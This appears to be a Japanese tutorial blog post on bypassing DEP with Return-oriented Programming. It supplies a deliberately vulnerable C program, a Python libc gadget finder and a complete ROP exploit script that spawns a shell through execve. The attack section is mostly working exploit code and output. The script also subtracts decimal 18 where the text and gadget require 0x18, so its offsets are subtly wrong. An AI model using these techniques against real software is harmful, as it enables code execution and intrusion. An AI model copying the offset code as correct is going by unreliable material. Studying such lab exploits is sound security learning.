Return-oriented Programming (ROP) でDEPを回避してみる

Return-to-libcによるDEP回避では、libc内の関数を呼び出すことでシェル起動を行った。 そして連続して関数を呼び出すために、pop命令+ret命令の先頭にジャンプしてスタックを操作するということを行った。 この手法を発展させ、ret命令で終わる命令列の先頭へのジャンプを繰り返すことで、任意の命令列を実行させることができる。 これはReturn-oriented Programming (ROP) と呼ばれる。 ここでは、実際にROPを使ったシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

バッファサイズ300で、第一引数の入力によりスタックバッファオーバーフローが起こるコードを書く。

/* bof.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[300] = {};  /* set all bytes to zero */
    printf("buf = %p\n", buf);
    strcpy(buf, argv[1]);
    puts(buf);
    return 0;
}

ASLR、SSPを無効にし、DEPのみを有効にした状態でコンパイルする。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
$ gcc -fno-stack-protector bof.c

objdumpコマンドで実行ファイルのプログラムヘッダを調べると、STACKのところにxビットが立っていない、つまりスタック領域のデータが実行不可になっていることが確認できる。

$ objdump -x a.out
Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000068c memsz 0x0000068c flags r-x
    LOAD off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2
         filesz 0x000000c8 memsz 0x000000c8 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x0000058c vaddr 0x0804858c paddr 0x0804858c align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0
         filesz 0x000000ec memsz 0x000000ec flags r--

また、lddコマンドでダイナミックリンクしている共有ライブラリを調べると、libcがリンクされていることがわかる。

$ ldd a.out
        linux-gate.so.1 =>  (0xb7fff000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e4d000)
        /lib/ld-linux.so.2 (0x80000000)

ROP Gadgetを探す

ROPでは、ライブラリの中からret命令 (0xc3) で終わる小さな命令列を探し、それらを組み合わせて処理を実行する。 このret命令で終わる命令列のことはGadgetと呼ばれる。 Gadgetは、0xc3の見つかった位置から数バイト戻って逆アセンブルし、ちょうどret命令で終わるような命令列が現れないかを調べることで発見できる。 実際にPythonでコードを書いてみると次のようになる。

# list_gadgets.py
import sys
from subprocess import Popen, PIPE

fpath = sys.argv[1]

with open(fpath, 'rb') as f:
    blob = f.read()

try:
    i = -1
    while True:
        i = blob.index('\xc3', i+1)
        for j in range(4):
            p1 = Popen(['objdump', '-M', 'intel', '-D', '-b', 'binary', '-m', 'i386', "--start-address=%d" % (i-j-1), "--stop-address=%d" % (i+1), fpath], stdout=PIPE)
            p2 = Popen(['grep', '^ '], stdin=p1.stdout, stdout=PIPE)
            stdout, stderr = p2.communicate()
            if not stdout or '(bad)' in stdout or '<internal disassembler error>' in stdout:
                continue
            lines = stdout.splitlines()
            if lines[-1].endswith('\tret    '):
                print lines[0].split('\t',1)[0] + '\t',
                print '; \t'.join(line.split('\t')[2] for line in lines[:-1])
except ValueError:
    pass

このスクリプトは第一引数に共有ライブラリファイルのパスを取り、0xc3のある位置から最大4バイトまで戻りながらGadgetを探す。 実際にlibcに対して実行すると次のようになる。

$ python list_gadgets.py /lib/i386-linux-gnu/libc.so.6 > gadgets.txt
$ head gadgets.txt
     78a:       dec    edi
     877:       or     al,BYTE PTR [ecx]
     8ee:       dec    esp
     cf2:       add    BYTE PTR [eax],al
    106e:       add    BYTE PTR [eax],al
    122e:       add    BYTE PTR [eax],al
    13ea:       add    BYTE PTR [eax],al
    1736:       add    BYTE PTR [eax],al
    1735:       pop    es;      add    BYTE PTR [eax],al
    1a32:       pop    es

ここで、命令列の最後に来るret命令は省略されている。

ROPで用いられる重要な操作

ROPにおいて、レジスタに特定の即値を代入するようなGadgetは基本的には存在しない。 しかし、pop命令を使うことでスタックに置いた値をレジスタに代入することができる。 たとえば、スタックに次のようにアドレスとデータを並べておくことで、ecxに0xccccccccを代入することができる。

0xXXXXXXXX -> pop ecx; ret
0xcccccccc

popが二つ連続したGadgetがある場合は、一度に二つのレジスタに値を代入できる。 たとえば次の場合、ecxに0xcccccccc、eaxに0xddddddddを代入できる。

0xXXXXXXXX -> pop ecx; pop eax; ret
0xcccccccc
0xdddddddd

さらに、mov [ecx], eax; ret のようなGadgetを使うことで、ecxにセットしたアドレスにeaxの値を書き込むことができる。 書き込む先のアドレスとしては、たとえばdataセグメントを使うことができる。 dataセグメントのアドレスは、objdumpコマンドまたはreadelfコマンドでセクションヘッダを見ることにより調べることができる。

$ objdump -x a.out
Sections:
Idx Name          Size      VMA       LMA       File off  Algn
 23 .data         00000008  0804a014  0804a014  00001014  2**2
                  CONTENTS, ALLOC, LOAD, DATA
$ readelf -a a.out
Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [24] .data             PROGBITS        0804a014 001014 000008 00  WA  0   0  4
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

dataセグメントは0x0804a014から8バイトであり、書き込み可能であることがわかる。

ROPを実行してみる

実際にGadgetを組み合わせて、execve(2)でシェルを起動するエクスプロイトコードを書いてみる。 必要となる命令列は、シェルコードを作る場合と同じように調べればよい。 なお、mov DWORD PTR [edx+0x18],eax を使う際は、edxには実際に書き込みたいアドレスから0x18引いたものをセットしておく。

# exploit.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
data_addr = int(sys.argv[3], 16)

"""
   f3ad0:       pop    ecx;     pop    eax
   7419a:       mov    DWORD PTR [ecx],eax
    1a9e:       pop    edx
   32eb0:       xor    eax,eax
   2dfb2:       mov    DWORD PTR [edx+0x18],eax
   1930e:       pop    ebx
   83d35:       xor    edx,edx;         mov    eax,edx
   8ac7e:       lea    eax,[edx+0xb]

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "int " | head
   2e285:       cd 80                   int    0x80
"""

buf = 'A' * bufsize
buf += 'AAAA' * 3

# write "/bin//sh" to data_addr
buf += struct.pack('<I', libc_base + 0xf3ad0)    # pop ecx; pop eax
buf += struct.pack('<I', data_addr)
buf += '/bin'
buf += struct.pack('<I', libc_base + 0x7419a)    # mov [ecx], eax

buf += struct.pack('<I', libc_base + 0xf3ad0)    # pop ecx; pop eax
buf += struct.pack('<I', data_addr + 4)
buf += '//sh'
buf += struct.pack('<I', libc_base + 0x7419a)    # mov [ecx], eax

buf += struct.pack('<I', libc_base + 0x1a9e)     # pop edx
buf += struct.pack('<I', data_addr + 8 - 18)
buf += struct.pack('<I', libc_base + 0x32eb0)    # xor eax, eax
buf += struct.pack('<I', libc_base + 0x2dfb2)    # mov [edx+18], eax

# write {"/bin//sh", NULL} to data_addr+12
buf += struct.pack('<I', libc_base + 0xf3ad0)    # pop ecx; pop eax
buf += struct.pack('<I', data_addr + 12)
buf += struct.pack('<I', data_addr)
buf += struct.pack('<I', libc_base + 0x7419a)    # mov [ecx], eax

buf += struct.pack('<I', libc_base + 0x1a9e)     # pop edx
buf += struct.pack('<I', data_addr + 16 - 18)
buf += struct.pack('<I', libc_base + 0x32eb0)    # xor eax, eax
buf += struct.pack('<I', libc_base + 0x2dfb2)    # mov [edx+18], eax

# set ecx = address of {"/bin//sh", NULL}
buf += struct.pack('<I', libc_base + 0xf3ad0)    # pop ecx; pop eax
buf += struct.pack('<I', data_addr + 12)
buf += 'AAAA'

# set ebx = address of "/bin//sh"
buf += struct.pack('<I', libc_base + 0x1930e)    # pop ebx
buf += struct.pack('<I', data_addr)

# set eax=11 and edx=0
buf += struct.pack('<I', libc_base + 0x83d35)    # xor edx, edx; mov eax, edx
buf += struct.pack('<I', libc_base + 0x8ac7e)    # lea eax, [edx+0xb]

# perform system call
buf += struct.pack('<I', libc_base + 0x2e285)    # int 0x80

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードはバッファサイズ、libcのベースアドレス、データの書き込みに利用するアドレスを順に引数に取る。 gdbを使ってlibcのベースアドレスを調べてみる。

$ gdb a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x8048449
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048449 in main ()
(gdb) i proc map
process 7841
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/user/tmp/a.out
         0x8049000  0x804a000     0x1000        0x0 /home/user/tmp/a.out
         0x804a000  0x804b000     0x1000     0x1000 /home/user/tmp/a.out
        0xb7e2a000 0xb7e2b000     0x1000        0x0
        0xb7e2b000 0xb7fcf000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fcf000 0xb7fd1000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd1000 0xb7fd2000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd2000 0xb7fd5000     0x3000        0x0
        0xb7fdb000 0xb7fdd000     0x2000        0x0
        0xb7fdd000 0xb7fde000     0x1000        0x0 [vdso]
        0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
        0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.15.so
        0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.15.so
        0xbffdf000 0xc0000000    0x21000        0x0 [stack]
(gdb) q
A debugging session is active.

        Inferior 1 [process 7841] will be killed.

Quit anyway? (y or n) y

libcは0xb7e2b000にロードされていることがわかる。

また、データの書き込みにはdataセグメントのアドレスを利用することにする。 このアドレスはすでに調べたように0x0804a014である。

調べたアドレスを引数にセットし、エクスプロイトコードを実行してみる。

$ python exploit.py 300 0xb7e2b000 0x0804a014
buf = 0xbffff484
(snip)
$

DEPが有効になっている状態で、シェルが立ち上がることを確認できた。

関連リンク